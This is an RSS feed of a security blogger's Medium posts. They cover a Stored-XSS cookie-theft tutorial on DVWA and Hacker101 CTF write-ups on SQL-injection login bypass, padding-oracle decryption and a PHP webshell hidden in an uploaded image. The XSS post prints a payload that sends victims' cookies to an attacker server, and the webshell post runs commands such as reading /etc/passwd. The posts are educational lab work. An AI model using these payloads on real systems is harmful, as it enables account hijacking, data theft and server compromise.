<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ravid Mazon on Medium]]></title>
        <description><![CDATA[Stories by Ravid Mazon on Medium]]></description>
        <link>https://medium.com/@ravid55590?source=rss-e2979155c047------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kbZHmCEscQ1Dk3GxKnnW5A.png</url>
            <title>Stories by Ravid Mazon on Medium</title>
            <link>https://medium.com/@ravid55590?source=rss-e2979155c047------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 16 Nov 2026 21:16:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ravid55590/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hijacking users’ accounts via Stored XSS]]></title>
            <link>https://medium.com/cyberx/hijacking-users-accounts-via-stored-xss-83a37c515a2?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/83a37c515a2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hijacking]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Thu, 13 Aug 2020 16:57:27 GMT</pubDate>
            <atom:updated>2020-08-13T16:57:27.626Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cddpsgJX-2FdLw3YdfmJ8A.png" /></figure><p>In this article, I’m going to demonstrate how we can impersonate to other users (even admin) using an XSS payload that takes advantage of a vulnerable web site.</p><p>Actually, we are going to steal the user’s cookies with an XSS payload, use it in order to log in as this user, and from this point, we will be able to perform any action the user is allowed to perform.</p><p>Imagine we could steal admin’s cookies, we would be able to do whatever we want, including deleting the whole web app and accessing any info that an admin can.</p><p>What we will need:</p><ol><li>A remote server that will receive the victim’s cookies</li><li>A script that steals the cookies</li><li>XSS payload which will send the request to the remote server</li></ol><p>The first step will be to set up a remote host, in which the requests of the victims will be sent to.</p><p>I’ve used XAMPP in order to create my Apache localhost. As this is server is local, we need to make is remote, in order to be able to get requests from external resources of the internet.<br>To do so, I’ve used a little tool called <em>Ngrok</em>.</p><p><em>Ngrok</em> gives you a new URL which will forwards all requests aimed to it to your localhost.</p><p>After downloading this tool, I’ve accessed it by this command:</p><p><em>ngrok http 80</em> — The protocol we are using is HTTP and my Apache is running on port 80.<br>This will open a new terminal and give you a new URL which is now representing your localhost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3nwHNvv2MRo2CA4F.png" /><figcaption>localhost becomes a remote host with ngrok</figcaption></figure><p>The second step is writing a little PHP script that will get the user’s IP and User-agent, and append his cookies to a file that we control in our machine.</p><p>I’ve created a script and called it ‘stealer.php’, it looks something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cHjdscEf7HlnvHq_.png" /><figcaption>stealer.php</figcaption></figure><p>As you can see, in the first two lines we get the IP and User-agent of the user, then using the <em>fopen</em> function to open a new file in which all the data will be saved to (‘cookies.txt’), and giving it read and write permissions (“a+).</p><p>Next, we use the <em>fwrite</em> function in order to write the IP, User-agent and the query string we get from the user (after decoding) into our cookies.txt file.</p><p>The third step is creating the malicious XSS payload. The payload I built for this purpose is:</p><p><strong><em>&lt;script&gt; var i=new Image(); i.src=’AttackerServer/stealer.php?NewCookies=’+document.cookie&lt;/script&gt;</em></strong></p><p>We are going to create a new image, which will be loaded every time the web page loads, and the source of this “image” will be a request extracting the cookies of the victim (<em>document. cookie</em>), that will be sent to our remote server.</p><p><em>Please note that this payload can be used for Reflected XSS vulnerabilities as well, but in this case, we are going to use it in a web app that is vulnerable to Stored XSS, in order to make our attack persistent and more devastating.</em></p><p>Let’s verify that everything is working before exploiting it on a vulnerable webApp.</p><p>I’ve sent a test request to my remote host — “<a href="http://fb5d68118fa2.ngrok.io/dashboard/stealer.php?mytest=this%20is%20my%20test">http://fb5d68118fa2.ngrok.io/dashboard/stealer.php?mytest=this is my test</a>”</p><p>Immediately, I could see that the request was sent successfully in the <em>ngrok</em> terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7oAxCmV12LYCUtyU.png" /></figure><p>By going to ‘cookies.txt’, we can see my IP, my UA, and the query string of my test request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jeANDw-QDLF7Y7kK.png" /><figcaption>cookies.txt</figcaption></figure><p>After everything is ready, the next step is to find a web page that is vulnerable to persistent XSS.</p><p>But first things first, let’s get familiar with persistent (stored) XSS.<br>A Persistent XSS attack is possible when a website or web application stores user input and later serves it to other users. An application is vulnerable if it does not validate user input before storing content and embedding it into HTML response pages.<br>Attackers use vulnerable web pages to inject malicious code and have it stored on the webserver for later use. The payload is automatically served to users who browse web pages and executed in their context.<br><strong>Thus, the victims do not need to click on a malicious link to run the payload (as in the case of Non-Persistent XSS).<br>All they have to do is visit a vulnerable web page.</strong></p><p>In this case, we are going to use my testing web app, which includes a <em>DVWA </em>container, which is a platform designed for hackers and Pentesters in order to practice their skills in multiple vectors such as XSS, SQLi, Bruteforce, etc.</p><p>First, let’s log in as a legitimate user in <em>DVWA (smithy)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/473/0*XQpp_galwTFhlx03.png" /></figure><p>Now that we are logged in, let’s go to the persistent XSS section, and verify that we do have a parameter which is vulnerable to persistent XSS.</p><p>we can see that we have a kind of blog which contains the parameters ‘name’ and ‘message’ in which an authenticated user can write a message and publish it in the blog.</p><p>After trying to inject a script for both fields, I noticed that the ‘message’ parameter is vulnerable to persistent XSS.</p><p>PoC:</p><p>While trying to inject my XSS payload in the message parameter, I’ve noticed that the payload was “cut” in the middle, and I was not able to inject it properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/0*oB5T9A3-Grr7CTsQ.png" /><figcaption>Payload cut in the middle</figcaption></figure><p>This is because the web app has another layer of defense, a client-side defense, which limits the message input to a max of 50 chars.</p><p>Open developer tools in Chrome, inspect the message input field and you will see this limitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NEKAjaqIQkU3vOZu.png" /><figcaption>maxlength=”50&quot;</figcaption></figure><p>In order to bypass this limitation, modify the value to a big number (500, for instance).</p><p>OK, now that that is no limitation for the length of characters we can inject to the vulnerable parameter, let’s try it again and press “Sign Guestbook”.</p><p>As you can see, the post was submitted to the dashboard:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/0*yluQa7x7oJrK0dgo.png" /><figcaption>Malicious post looking totally legit</figcaption></figure><p>And this is the key part of this attack.</p><p>If I’m a legitimate user, browsing this forum, I suspect nothing.</p><p>For me, I see a legit post with a name and a message, and this is why this attack is so devastating, because under the hood, without the victim knows anything about it, a request was sent to “stealer.php” with his cookies.</p><p>Our <em>ngrok</em> terminal verifies that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/0*DMXVXP19r4gqS4YQ.png" /><figcaption>Victim’s request sent to our remote server</figcaption></figure><p>By going to “cookies.txt” on our remote server, we can extract the IP, UA, but most importantly, the victim’s cookies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rE0EJmGXy2-WcyBC.png" /><figcaption>Gimme your cookies</figcaption></figure><p>So this is working, now let’s see a scenario where the admin of this website login and browsing to the “infected” area.</p><p>I gave a friend admin’s credentials and asked him to log in, and go visit the infected forum section.</p><p>Immediately after he did, we got another request sent to “stealer.php”, containing his cookies.</p><p>I remind you, I’m logged in as the user “smithy”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/144/0*q8wHn_aIFJOSrU9M.png" /><figcaption>my user</figcaption></figure><p>In order to login as the admin, I’ve replaced my cookies with his<br>(Developer tools -&gt; Application -&gt; modify your cookies to his)</p><p>After changing the cookies, and refreshing the page, we can see that now I’m logged in as admin:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/146/0*Z4E86HNCyBnGn6R1.png" /><figcaption>We are ADMIN (without knowing admin’s credentials)</figcaption></figure><p>Let’s sum up what we were able to do from the attacker perspective:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/0*9rEg94DG8VxKE-Mz.png" /><figcaption>Sum up</figcaption></figure><p>Of course, this may have a really big impact on the web app as now we are able to edit posts, delete posts, and have full control of the site content.</p><p>Moreover, In case you manage to steal the cookies for a user in an e-commerce web app, for example, you may be able to perform various actions such as stealing his credit card number, adding stuff to his cart, change his password, and so on.</p><p>Thanks for reading, see you at the next post!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83a37c515a2" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/hijacking-users-accounts-via-stored-xss-83a37c515a2">Hijacking users’ accounts via Stored XSS</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 — My journey]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-my-journey-426f1920f16c?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/426f1920f16c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Sun, 12 Apr 2020 14:09:10 GMT</pubDate>
            <atom:updated>2020-04-14T23:48:01.667Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joqw_QRyQBSLOfWd8dTS0A.png" /></figure><h3>CTF — Hacker101 — My journey</h3><p>With the Coronavirus aiming the change the world in these days, my everyday routine was changed, from working 5 days a week as a SOC engineer in the office, I found myself staying at home the whole time, and working from home became my new routine.</p><p>As a result, I had plenty of free time which I decided to dedicate to studying and strengthening my web application penetration test skills.</p><p>I decided the challenge myself with a CTF game and found the <a href="https://ctf.hacker101.com/">Hakcer101 CTF challenge</a>.</p><p>In a timeframe of ~2 weeks, I’ve completed all the web related challenges, starting from easy level (3 challenges which I did not post in my blog), 5 moderate level challenges (Photo Gallery, Cody’s First Blog, Ticketastic, Temimage, Micro CMS v2) and one hard challenge (Encrypted Pastebin).</p><p>I decided to write it down in this blog because I wanted to achieve a few goals:</p><ol><li>In order to have it all documented in one public place.</li><li>The fact that I created this write up encouraged me to keep going when I was stuck/frustrated.</li></ol><p>3. “90% of what they learn is when they teach someone else”.</p><p>4. Getting my first write up in the Cybersecurity world.</p><p>5. Help other folks who play the Hacker101 CTF and get stuck during it (as I was myself).</p><p><em>My journey:</em></p><p>I’ve learned a lot during the process — a few of the vectors that you can find in this CTF are:</p><p><em>SQLi (Blind, UNION attacks, Time delay), Manuel way VS automatic way, XSS (Reflected &amp; Stored), Code injection (PHP), Command Injection, Vulnerabilities and hints in the source code (Hidden fields, functions, comments), Brute-force, CSRF, Injecting shell to an image and connecting to it, path traversal, encryption &amp; decryption, crypto attacks like “padding oracle attack” and how to execute it</em>.<br>I’ve used a variety of tools, some of them were: <em>Gobuster, Nmap, SQLMAP, PaBbuster, Hydra, BurpSuite and more</em>.</p><p>In each challenge, I’ve shared the methods I used (text &amp; screenshots), trying to explain how I’ve managed to capture the flags so others can learn from it (For sure there are many methods to achieve the same goal, find yours).<br>Please note that I’ve masked the value of the flags in order to make you work for it and understand what you are doing.</p><p>Thanks for reading that, hope you will enjoy the write-up, and see you in the next challenges!</p><p>PlayerX</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*KDuwfruJuQaX0QAW_4dZsA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=426f1920f16c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-my-journey-426f1920f16c">CTF — Hacker101 — My journey</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 —Micro-CMS v2]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-micro-cms-v2-f0e32696cdff?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/f0e32696cdff</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Sun, 12 Apr 2020 12:51:57 GMT</pubDate>
            <atom:updated>2020-04-12T12:51:57.576Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naQCv1Ewf1Y9_215jeKIZQ.png" /></figure><h3>CTF — Hacker101 —Micro-CMS v2</h3><p>After completing the first one (Micro-CMS v1 — easy level) I came across v2 that was more challenging and took some time.</p><p>Let&#39;s start.</p><p><strong>FLAG0</strong></p><p>As you can see, in v2 they added an authentication process and in order to create and edit pages, you have to login first.</p><p>I tried to play around on the login page (<a href="http://xxxx/yyyyy/login">http://xxxx/yyyyy/login</a>) and noticed that the username is vulnerable to SQL injection.</p><p>So we will use SQL injection here and I had to decide whether to do it the manual way or the automated way (<em>SQLMAP</em>).</p><p>After seeing the third hint, which caught my eyes, I decided to do it the manual way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3s_JT-eP8ZPG5tLNndTH7Q.png" /><figcaption>Third hint</figcaption></figure><p>The hint try to tell us that sometimes, we don&#39;t have to know the password in order to log in, of course, we can Brute-Force our way around and find the credentials (which we will do later on this session), but we can do something that&#39;s called “Login Bypass”.</p><p>By modifying the username &amp; password as the following, we will bypass the login successfully:</p><p><em>username=admin’ UNION SELECT ‘PlayerX’ AS password FROM admins WHERE ‘1’ = ‘1</em></p><p><em>password=PlayerX</em></p><p>Using these “credentials”, the query that the server will run will be:</p><pre>SELECT password FROM admins WHERE username=&#39;admin&#39; UNION SELECT &#39;PlayerX&#39; AS password</pre><p>Trying this in Burp, I got 200 OK and I noticed that I was managed to successfully log in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNzT89RKDCFRivpCgxT4OA.png" /><figcaption>200 OK — I&#39;m logged in now</figcaption></figure><p>After logging in successfully I noticed that now I have access to a private page, which I didn&#39;t have access to before I logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*79QELYSLjMk8W5N41IFNZA.png" /><figcaption>New and private page</figcaption></figure><p>Going to this page, I got the first flag! (In the third flag we will see another method to get this flag).</p><p><strong>FLAG1</strong></p><p>So let&#39;s assume that we want to edit a page as we did in v1.</p><p>We already know that in order to perform such action we have to first authenticate ourselves, so say we weren&#39;t familiar with the method described in flag0 and we didn&#39;t find credentials in order to log in, this means we will never be able to edit a page, right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*g_aG4bLOXiijblPG1jEZYw.png" /><figcaption>Obama saying: “YES, WE CAN”.</figcaption></figure><p>If one method didn&#39;t have any luck, let&#39;s try another method in order to be able to edit a page without being authenticated, or in other words, lets “Bypass Authentication”.</p><p>Actually, it is really simple, we can use various ways, one of them is Curl.</p><p>By sending a POST request to the edit page in the web server using curl, I was able to bypass the authentication and get 200 OK instead of “301 Redirection” to the login page, and there is our flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NS1zVh813RNXlwEAYSflw.png" /><figcaption>Bypassing authentication and getting the second flag</figcaption></figure><p><strong>FLAG2</strong></p><p>Looking at the hint for this stage, we can assume that now we need to find the actual admin’s credentials in order to get our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*-3OoEvjM0xjLd_DkKxa1Jg.png" /><figcaption>Hint for the last flag</figcaption></figure><p>So if we used the manual way in flag0, here I chose to use the automated way using our beloved <em>SQLMAP</em>.</p><p>PoC:</p><ol><li>By using Burp, catch a POST request to the login page using any credentials.</li><li>Copy the content of the request to a text file and give it a name.</li><li>The text file with the POST request suppose to look something like this:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ps4ldSHj5hUWd62gDje68Q.png" /><figcaption>text file with the POST request to the login page</figcaption></figure><p>4. Using <em>SQLMAP</em>: sudo sqlmap -r sqltest.txt — dump</p><p>5. Getting the admin’s credentials from the Database ‘level2’, Table ‘admins’:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*_UsX5syZLaIs6jeLrf9_Pw.png" /><figcaption>Admin’s credentials</figcaption></figure><p>Using these credentials to login and we got the last flag! Whoa!</p><p>P.S — As I mentioned before, we can get the first flag using this method as well. <em>SQLMAP</em> revealed to us the content of the ‘<em>admins</em>’ table, but it also revealed the content of the ‘<em>pages</em>’ table which includes the id, title and body of every page in the database, including the private page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WXXmSIwvC95t2fWoHreiJg.png" /><figcaption>Flag0 — Found via <em>SQLMAP</em></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f0e32696cdff" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-micro-cms-v2-f0e32696cdff">CTF — Hacker101 —Micro-CMS v2</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 — Encrypted Pastebin]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-encrypted-pastebin-72192a042869?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/72192a042869</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Sat, 11 Apr 2020 16:36:51 GMT</pubDate>
            <atom:updated>2020-04-12T14:15:28.775Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*naQCv1Ewf1Y9_215jeKIZQ.png" /></figure><h3>CTF — Hacker101 — Encrypted Pastebin</h3><p>So I think it is safe to say that this challenge was the hardest one in the web related Hacker101 CTF, and in the time of writing this post, I’ve managed to complete 2/4 flags.</p><p><strong>FLAG0</strong></p><p>So by looking at the main page, we can see that there is we can upload a post to the website, and its content (title+body) will be encrypted by 128 Bit AES.</p><p>So after posting a new post, I could see that the encrypted string is the value of the ‘<em>post</em>’ parameter in the query string:<em> </em><a href="http://xxxxxx/yyyyyyy/?post=Yv5fsCfbjgHOrIteVoMZPfs7i-C2!biYwKZ6mPH9urnClagVp9fpuj5op693c!hLOzpxE44-02WWyUxl86CbYCwR9fpdOn4OIqv4gkD8ekIjHMe!1i0ZfbPVBKCdoerZz2hJn48Cx!y6Mk7b40J457ouOuuhisQpw6IOt1X9voTYse3NNBVHVwDec9Wo1ck9w3PDcIGsbEWvbRRQOA2w5A~~"><em>http://xxxxxx/yyyyyyy/?post=</em><strong><em>Yv5fsCfbjgHOrIteVoMZPfs7i-C2!biYwKZ6mPH9urnClagVp9fpuj5op693c!hLOzpxE44-02WWyUxl86CbYCwR9fpdOn4OIqv4gkD8ekIjHMe!1i0ZfbPVBKCdoerZz2hJn48Cx!y6Mk7b40J457ouOuuhisQpw6IOt1X9voTYse3NNBVHVwDec9Wo1ck9w3PDcIGsbEWvbRRQOA2w5A~~</em></strong></a></p><p>The server takes that string, decrypts it, and its plain-text is reflected to the end-user.</p><p>Now, in case you have no knowledge at all on how encryption and decryption works, I strongly suggest watching the <em>Hacker101</em> videos on that topic — <a href="https://www.hacker101.com/playlists/cryptography"><em>https://www.hacker101.com/playlists/cryptography</em></a><em>.</em></p><p>You will find valuable information about XOR, blocks of data, encryption and decryption algorithms, well-known crypto attack and much more.</p><p>So back to our business, from watching the videos we know that plaintext messages come in a variety of lengths, however, block ciphers require that all messages be an exact number of blocks when each block contains 8/16 bytes.</p><p>Knowing this, I figured to myself “what will happen if I will modify the encrypted value?” I guess there will be some kind of error as I changed the construction that was expected from the string.</p><p>And as expected, making any kind of change to this value resulted in the first flag, due to an error: — <em>“ValueError: Input strings must be a multiple of 16 in length.”</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nu8hHvO0GYlpFvler4QzdA.png" /><figcaption>Error complaining that the blocks of the string are not constructed of 16 bytes</figcaption></figure><p><strong>FLAG1</strong></p><p>This one was challenging.</p><p>I spent a few hours to understand what is this all about and what is my next step, so I was looking at both hints for this level .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aRHWfK3Kwc4jW0rdNjD08g.png" /><figcaption>The hints</figcaption></figure><p>One of the most common crypto attacks and a one that was discussed in the <a href="https://www.hacker101.com/sessions/crypto_attacks.html">Hacker101 Crypto attacks video</a> is the <em>“Padding Oracle Attack”</em>.</p><p><em>“In cryptography, a padding oracle attack is an attack that uses the padding validation of a cryptographic message to decrypt the ciphertext. In cryptography, variable-length plaintext messages often have to be padded (expanded) to be compatible with the underlying cryptographic primitive. The attack relies on having a “padding oracle” who freely responds to queries about whether a message is correctly padded or not. Padding oracle attacks are mostly associated with CBC mode decryption used within block ciphers” </em>(Wikipedia).</p><p>So after I watched some videos and read some articles regarding this kind of attack, I was ready for the execution part.</p><p>While padding oracles are relatively easy to exploit, the act of exploiting them can be time-consuming if you don’t have a good way of automating the attack.</p><p>Luckily, was do have a way to automate this process, the tool we are going to use is called — <em>‘PadBuster’.</em></p><p>Written in Perl, this tool will automatically cycle through each block and brute force each corresponding plaintext byte which will take, at most, 256 requests per byte. After each block, PadBuster will also display the obtained intermediary byte values along with the calculated plaintext.</p><p>Before using this tool, I would strongly recommend understanding the concept of the <em>“Padding Oracle Attack”</em> and how it works behind the scenes. An amazing article that I found that provides all the info we need, is this one: <a href="https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html">https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html</a>.</p><p>After reading it and using PadBuster, I was able to decrypt the encrypted value and get the desired flag.</p><p><em>PoC:</em></p><ol><li>Download/clone <em>PadBuster.pl</em> from this Github repo — <a href="https://github.com/AonCyberLabs/PadBuster">https://github.com/AonCyberLabs/PadBuster</a>.</li><li>Usage: padBuster.pl URL EncryptedSample BlockSize [options]</li><li>Exploiting:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bn4Q5feL_B7AXrATZegNFw.png" /></figure><p>As you can see I entered the entire URL, containing the encrypted value of the post parameter, following by the encrypted value itself, the block size (which we know already is 16) and a specification of how the encrypted sample is encoded, in this case -encoding 0 is Base64 (which is also the default one).</p><p>4. After some time, we got the a plain text of the flag and the key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K9MfZP_x3QHFV9p7E53cHw.png" /></figure><p>As for today (11.04.20), I’ve managed to complete the 2/4 flags, hopefully I will have more time to continue with the third and the fourth flag soon.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72192a042869" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-encrypted-pastebin-72192a042869">CTF — Hacker101 — Encrypted Pastebin</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 — TempImage]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-tempimage-27f397893408?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/27f397893408</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ravid Mazon]]></dc:creator>
            <pubDate>Fri, 10 Apr 2020 13:01:25 GMT</pubDate>
            <atom:updated>2020-04-11T16:42:12.739Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*joqw_QRyQBSLOfWd8dTS0A.png" /></figure><h3>CTF — Hacker101 — TempImage</h3><p>I enjoyed TempImage a lot, as it made me learn something that I didn&#39;t know before— Injecting shellcode to an image, uploading it to a web server, execute the shell (the code inside the image) and connect to the server.</p><p>But first things first, let&#39;s start with the first flag.</p><p><strong>FLAG0</strong></p><p>First, I tried to upload any file and got an error, noticed that the format that was supported was and PNG image file.</p><p>I tried to upload a PNG file and saw that the image was uploaded to the <em>/files </em>directory on the web server, with a generated prefix before the actual file name. It looked something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZJAbNqHVrTkP16mfCwnZSA.png" /><figcaption>The path of an uploaded image on the webserver</figcaption></figure><p>When talking about paths, the first vector that comes to my mind is <em>“path traversal”</em>.</p><p>Let&#39;s see if we can find a path traversal vulnerability here, allowing us to upload an image to a location other than the /<em>files</em> directory.</p><p>Using Burp to inspect the file uploading POST request, we are can change the path of the upload of our image.</p><p>Using /../../ before the file name will go two steps back from the location we are currently in — <em>/index/files/image</em> to /<em>index</em> and <strong>will try to upload the image in that path.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPPyWn-5TVW1xzskybl0ug.png" /><figcaption>Uploading ‘cat.png’ to /index path</figcaption></figure><p>Trying that we got the first flag, the server is indeed vulnerable to path traversal attacks.</p><p>But more importantly, we got a 200 OK for our request, meaning that the image ‘<em>cat.png</em>’ actually was uploaded to /<em>index.php</em>! Let&#39;s verify that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwYh9KJZ8xogi0yoc-hl-g.png" /><figcaption>A beautiful Robotcat in /index path</figcaption></figure><p>And yup, the image was uploaded successfully to <em>/index.php</em>.</p><p><strong>FLAG1</strong></p><p>Knowing that we can upload a file to a path that can execute PHP code we can do many malicious things.</p><p>One of them is injecting a Webshell backdoor code inside the content of an image. This is a well-known technique that is being used in order to take advantage of the fact the server is not inspecting the content of the image (file) that was uploaded.</p><p>Moreover, with this technique, you can even bypass a WAF that suppose to provide another layer of defense between the end-user and the server, if the WAF is not inspecting the image content while it is being uploaded to a web server.</p><p>Let&#39;s get into business:</p><p>So we can download an image file that looks innocent, but actually hide in it malicious payload, or.. we can “create” a one of our own.</p><p>Let&#39;s keep going with the <em>‘cat.png’</em>, going to Burp inspecting our POST request to upload that file we can see that the POST body consists of a long text of symbols, that represent the of the image’s binary content.</p><p>We can add our malicious payload at the end of the image’s content, and it will be executed and run by the server.</p><p>I’ve tried something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PBOWAE3qJ0dJFQx2QPkV1w.png" /><figcaption>PHP code at the end of the image content</figcaption></figure><p>As you can see, I’ve added my malicious payload — A PHP code at the end of the image’s content and changed the type of extension of the file to .php.</p><p>Probably you are worried that the server won&#39;t let me upload the file as now it is .php and not .png as should, but actually the server does not care about the extension of the file, it cares about the header Content-type, which specify the type of the content delivered in the request.</p><p>As long as you keep the value of the header as PNG, the server will allow your request: <em>Content-Type: image/png</em>.</p><p><em>PoC:</em></p><p>By sending the crafted request to the server, we get a 302 redirect (in which we can see the first flag again, as we used path traversal).</p><p>Clicking on “Follow redirect” giving us 200 OK with the content of our new <em>cat.php</em> file, that includes its content, and more importantly — the response to the command that we injected and got executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*5X3NXpRzSEuYUrvqlaqnQg.png" /><figcaption>ls command successfully executed</figcaption></figure><p>At this point we know we successfully compromised the server and we can execute any command we want such as <em>&lt;?php system (“cat /etc/passwd”);?&gt;</em> and more.</p><p>But we still didn&#39;t get our flag.</p><p>After playing around for some time, I found out that the flag was located in the <em>index.php</em> page, so using the following command: <em>&lt;?php system (“cat index.php”);?&gt;</em> to display its content, reveled the desired flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Fx3ztOQcC-9CqXGfP7csg.png" /><figcaption>Server response — Flag captured!</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=27f397893408" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyberx/ctf-hacker101-tempimage-27f397893408">CTF — Hacker101 — TempImage</a> was originally published in <a href="https://medium.com/cyberx">CyberX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF — Hacker101 — Ticketastic]]></title>
            <link>https://medium.com/cyberx/ctf-hacker101-ticketastic-fec07a9a5668?source=rss-e2979155c047------2</link>
            <guid isPermaLink="false">https://medium.com/p/fec07a9a5668</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
